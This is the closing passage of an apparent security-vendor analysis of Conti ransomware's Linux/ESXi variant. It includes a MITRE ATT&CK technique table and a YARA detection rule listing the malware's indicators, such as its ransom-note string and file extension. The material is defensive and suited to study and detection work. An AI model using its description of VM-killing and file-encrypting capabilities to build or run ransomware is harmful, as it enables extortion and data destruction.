the damage to the organizations it attacks.

Analysis of Conti leaks revealed that the threat actors are continuously adjusting and
improving their Linux variant of ransomware and it is likely in the future we will see more of
its actions against Western organizations.

Targeting ESXi Hypervisors and its virtual machines is of special interest for criminals
because the impact on the organizations they attack is huge. Nowadays it is a common
theme in the ransomware landscape to develop new binaries specifically to encrypt virtual
machines and their management environments.

Since the sample of the Conti ransomware we analyzed was recently uploaded to VT, we
presume that the ransomware group is still performing their campaigns and operations
encrypting data from companies all around the world and extorting them for a ransom
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payment for their own personal gain.

Appendix A - MITRE ATT&CK Techniques

T1489 Impact Service Stop Conti has the ability to kill ESXi virtual
machines and stop processes
T1486 Impact Data Encrypted for Conti encrypts the files found on a
Impact specific path
T1082 Discovery System Information Conti launches commands to discover
Discovery the running machines on the ESXi
server
T1083 Discovery File and Directory Conti enumerates the files and
Discovery directories on a specific path
T1059.004 Execution Command and Conti abuses Unix shell commands
Scripting Interpreter: and scripts
Unix Shell
T1106 Execution Native API Conti uses the fork() native API

Appendix B - YARA rule

rule RANSOM_Conti_Linux_Apr2022 : ransomware

{

meta:

description = "Detects Conti Linux variant"

author = "Marc Elias | Trellix ATR Team"

date = "2022-04-06"

strings:

$str1 = ".conti" ascii fullword

$str2 = "All of your files are currently encrypted by CONTI strain" ascii fullword

$str3 = "http://contirec" ascii
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condition:
uint32(0) == 0x464c457f and
filesize < 2MB and

all of them

}
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